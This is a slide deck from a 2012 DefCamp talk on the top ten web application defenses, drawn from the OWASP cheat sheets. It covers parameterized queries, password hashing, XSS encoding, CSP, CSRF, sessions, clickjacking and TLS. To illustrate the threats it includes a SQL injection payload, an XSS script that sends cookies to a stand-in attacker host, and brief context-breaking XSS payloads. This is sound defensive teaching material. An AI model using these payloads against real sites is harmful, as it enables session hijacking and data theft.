Top Ten Web Defenses - DefCamp 2012

Top Ten Defenses
It’s ok to cheat

OWASP Cheatsheet Series

https://www.owasp.org/index.php/Cheat_Sheets

1

HACKED
© 2012 WhiteHat Security, Inc.
2

Anatomy of a SQL Injection Attack

$NEW_EMAIL = Request[‘new_email’];
$USER_ID = Request[‘user_id’];

update users set email=‘$NEW_EMAIL’
where id=$USER_ID;

Anatomy of a SQL Injection Attack
$NEW_EMAIL = Request['new_email'];
$USER_ID = Request['user_id'];

update users set email='$NEW_EMAIL'
where id=$USER_ID;

SUPER AWESOME HACK: $NEW_EMAIL = ';
update users set email='';

[1] Query Parameterization (PHP)

$stmt = $dbh->prepare(”update users set
email=:new_email where id=:user_id”);

$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);

Query Parameterization (.NET)
SqlConnection objConnection = new
SqlConnection(_ConnectionString);
objConnection.Open();
SqlCommand objCommand = new SqlCommand(
"SELECT * FROM User WHERE Name = @Name AND Password =

@Password", objConnection);
objCommand.Parameters.Add("@Name", NameTextBox.Text);
objCommand.Parameters.Add("@Password", PassTextBox.Text);
SqlDataReader objReader = objCommand.ExecuteReader();

Query Parameterization (Java)
String newName = request.getParameter("newName") ;
String id = request.getParameter("id");
//SQL
PreparedStatement pstmt = con.prepareStatement("UPDATE
EMPLOYEES SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);

//HQL
Query safeHQLQuery = session.createQuery("from Employees
where id=:empId");
safeHQLQuery.setParameter("empId", id);

Query Parameterization (Ruby)
# Create
Project.create!(:name => 'owasp')
# Read
Project.all(:conditions => "name = ?", name)
Project.all(:conditions => { :name => name })
Project.where("name = :name", :name => name)
Project.where(:id=> params[:id]).all
# Update
project.update_attributes(:name => 'owasp')

Query Parameterization (Cold Fusion)

<cfquery name="getFirst" dataSource="cfsnippets">
SELECT * FROM #strDatabasePrefix#_courses WHERE
intCourseID = <cfqueryparam value=#intCourseID#
CFSQLType="CF_SQL_INTEGER">
</cfquery>

Query Parameterization (PERL)
my $sql = "INSERT INTO foo (bar, baz) VALUES
( ?, ? )";
my $sth = $dbh->prepare( $sql );
$sth->execute( $bar, $baz );

Query Parameterization (.NET LINQ)
public bool login(string loginId, string shrPass) {
DataClassesDataContext db = new
DataClassesDataContext();
var validUsers = from user in db.USER_PROFILE
where user.LOGIN_ID == loginId
&& user.PASSWORDH
== shrPass select user;
if (validUsers.Count() > 0) return true;
return false;
};

[2] Secure Password Storage
public String hash(String password, String userSalt, int iterations)
throws EncryptionException {
byte[] bytes = null;
try {
MessageDigest digest = MessageDigest.getInstance(hashAlgorithm);
digest.reset();
digest.update(ESAPI.securityConfiguration().getMasterSalt());
digest.update(userSalt.getBytes(encoding));
digest.update(password.getBytes(encoding));

// rehash a number of times to help strengthen weak passwords
bytes = digest.digest();
for (int i = 0; i < iterations; i++) {
digest.reset(); bytes = digest.digest(bytes);
}
String encoded = ESAPI.encoder().encodeForBase64(bytes,false);
return encoded;
} catch (Exception ex) {
throw new EncryptionException("Internal error", "Error");
}}

Secure Password Storage
try {
digest.reset();

digest.reset(); bytes = digest.digest(bytes);
}
return encoded;
}}

try {
digest.reset();

digest.reset(); bytes = digest.digest(salts + bytes + hash(i));
}
return encoded;
}}

• BCRYPT
- Really slow on purpose
- Blowfish derived
- Suppose you are supporting millions on concurrent
logins…
- Takes about 10 concurrent runs of BCRYPT to pin
a high performance laptop CPU

• PBKDF2
- Takes up a lot of memory
- Suppose you are supporting millions on concurrent
logins…

Anatomy of a XSS Attack
<script>window.location=‘http://evi
leviljim.com/unc/data=‘ +
document.cookie;</script>

<script>document.body.innerHTML=‘<b
link>CYBER IS
COOL</blink>’;</script>

[3] Contextual Output Encoding
(XSS Defense)
– Session Hijacking
– Site Defacement
– Network Scanning
– Undermining CSRF Defenses
– Site Redirection/Phishing
– Load of Remotely Hosted Scripts
– Data Theft
– Keystroke Logging
– Attackers using XSS more frequently

XSS Defense by Data Type and Context
Data Type Context Defense
String HTML Body HTML Entity Encode
String HTML Attribute Minimal Attribute Encoding
String GET Parameter URL Encoding
String Untrusted URL URL Validation, avoid javascript: URLs,
Attribute encoding, safe URL verification

String CSS Strict structural validation, CSS Hex
encoding, good design
HTML HTML Body HTML Validation (JSoup, AntiSamy, HTML
Sanitizer)
Any DOM DOM XSS Cheat Sheet
Untrusted JavaScript Any Sandboxing
JSON Client Parse Time JSON.parse() or json2.js

Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing,
class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight,
marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan,
scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width

HTML Body Context

<span>UNTRUSTED DATA</span>

HTML Attribute Context
<input type="text" name="fname"
value="UNTRUSTED DATA">

attack: "><script>/* bad stuff */</script>

HTTP GET Parameter Context

<a href="/site/search?value=UNTRUSTED
DATA">clickme</a>

URL Context
<a href="UNTRUSTED
URL">clickme</a>
<iframe src="UNTRUSTED URL" />

attack: javascript:eval(/* BAD STUFF */)

CSS Value Context

<div style="width: UNTRUSTED
DATA;">Selection</div>

attack: expression(/* BAD STUFF */)

JavaScript Variable Context
<script>var currentValue='UNTRUSTED
DATA';</script>

<script>someFunction('UNTRUSTED
DATA');</script>

attack: ');/* BAD STUFF */

JSON Parsing Context

JSON.parse(UNTRUSTED JSON
DATA)


SAFE use of JQuery

$(‘#element’).text(UNTRUSTED DATA);

UNSAFE use of JQuery



$(‘#element’).html(UNTRUSTED DATA);

Dangerous jQuery 1.7.2 Data Types
CSS Some Attribute Settings
HTML URL (Potential Redirect)

jQuery methods that directly update DOM or can execute JavaScript
$() or jQuery() .attr()
.add() .css()
.after() .html()
.animate() .insertAfter()
.append() .insertBefore()
.appendTo() Note: .text() updates DOM, but is
safe.
jQuery methods that accept URLs to potentially unsafe content
jQuery.ajax() jQuery.post()
jQuery.get() load()
jQuery.getScript()

28

JQuery Encoding with JQencoder

Contextual encoding is a crucial technique needed to
stop all types of XSS

jqencoder is a jQuery plugin that allows developers to
do contextual encoding in JavaScript to stop DOM-
based XSS

http://plugins.jquery.com/plugin-tags/security

$('#element').encode('html', cdata);

Best Practice: DOM-Based XSS
Defense
• Untrusted data should only be treated as displayable text
• JavaScript encode and delimit untrusted data as quoted strings
• Use document.createElement("…"),
element.setAttribute("…","value"), element.appendChild(…),
etc. to build dynamic interfaces (safe attributes only)
• Avoid use of HTML rendering methods
• Make sure that any untrusted data passed to eval() methods is
delimited with string delimiters and enclosed within a closure
such as eval(someFunction(‘UNTRUSTED DATA’));

[4] Content Security Policy
• Anti-XSS W3C standard
• CSP 1.1 Draft 19 published August 2012
- https://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-
specification.dev.html
• Must move all inline script and style into external scripts
• Add the X-Content-Security-Policy response header to instruct
the browser that CSP is in use
- Firefox/IE10PR: X-Content-Security-Policy
- Chrome Experimental: X-WebKit-CSP
- Content-Security-Policy-Report-Only
• Define a policy for the site regarding loading of content

CSP By Example 1
Source: http://people.mozilla.com/~bsterne/content-security-
policy/details.html

Site allows images from anywhere, plugin content from a list of
trusted media providers, and scripts only from its server:

X-Content-Security-Policy: allow 'self'; img-src *; object-src
media1.com media2.com; script-src scripts.example.com

CSP By Example 2
Source: http://www.html5rocks.com/en/tutorials/security/content-
security-policy/

Site that loads resources from a content delivery network and
does not need framed content or any plugins

X-Content-Security-Policy: default-src https://cdn.example.net;
frame-src 'none'; object-src 'none'

[5] Cross-Site Request Forgery
Tokens and Re-authentication

– Cryptographic Tokens
• Primary and most powerful defense.
Randomness is your friend

– Require users to re-authenticate
• Amazon.com does this *really* well

– Double-cookie submit defense
• Decent defense, but not based on
randomness; based on SOP

[6] Multi Factor Authentication
– Passwords as a single AuthN factor are DEAD!
– Mobile devices are quickly becoming the “what
you have” factor
– SMS and native apps for MFA are not perfect
but heavily reduce risk vs. passwords only
– Password strength and password policy can be
MUCH WEAKER in the face of MFA
– If you are protecting your magic user and fireball
wand with MFA (Blizzard.net) you may also wish
to consider protecting your multi-billion dollar
enterprise with MFA

[7] Forgot Password Secure Design
– Require identity and security questions
• Last name, account number, email, DOB
• Enforce lockout policy
• Ask one or more good security questions
– http://www.goodsecurityquestions.com/
– Send the user a randomly generated token
via out-of-band method
• email, SMS or token
– Verify code in same Web session
• Enforce lockout policy
– Change password
• Enforce password policy

[8] Session Defenses
– Ensure secure session IDs
• 20+ bytes, cryptographically random
• Stored in HTTP Cookies
• Cookies: Secure, HTTP Only, limited path
• No Wildcard Domains
– Generate new session ID at login time
• To avoid session fixation
– Session Timeout
• Idle Timeout
• Absolute Timeout
• Logout Functionality

Anatomy of a
Clickjacking Attack

[9] X-Frame-Options

// to prevent all framing of this content
response.addHeader( "X-FRAME-OPTIONS", "DENY" );

// to allow framing of this content only by this site
response.addHeader( "X-FRAME-OPTIONS", "SAMEORIGIN" );

// to allow framing from a specific domain
response.addHeader( "X-FRAME-OPTIONS", "ALLOW-FROM
X" );

Legacy Browser Clickjacking Defense
<style id="antiCJ">body{display:none !important;}</style>
<script type="text/javascript">
if (self === top) {
var antiClickjack = document.getElementByID("antiCJ");
antiClickjack.parentNode.removeChild(antiClickjack)
} else {
top.location = self.location;
}
</script>

[10] Encryption in Transit
(HTTPS/TLS)
– Authentication credentials and session identifiers must
be encrypted in transit via HTTPS/SSL
• Starting when the login form is rendered
• Until logout is complete
• CSP and HSTS can help here
– https://www.ssllabs.com free online assessment of
public-facing server HTTPS configuration
– https://www.owasp.org/index.php/Transport_Layer_Protecti
on_Cheat_Sheet for HTTPS
best practices

[11] Virtual Patching

“A security policy enforcement
layer which prevents the
exploitation of a known
vulnerability”

Virtual Patching
Rationale for Usage
– No Source Code Access
– No Access to Developers
– High Cost/Time to Fix

Benefit
– Reduce Time-to-Fix
– Reduce Attack Surface

Strategic Remediation
• Ownership is Builders
• Focus on web application root causes of
vulnerabilities and creation of controls in
code
• Ideas during design and initial coding
phase of SDLC
• This takes serious time, expertise and
planning

Tactical Remediation
• Ownership is Defenders
• Focus on web applications that are
already in production and exposed to
attacks
• Examples include using a Web Application
Firewall (WAF) such as ModSecurity
• Aim to minimize the Time-to-Fix
exposures

OWASP ModSecurity Core Rule Set
(CRS)

http://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project

Top Ten Web Defenses - DefCamp 2012

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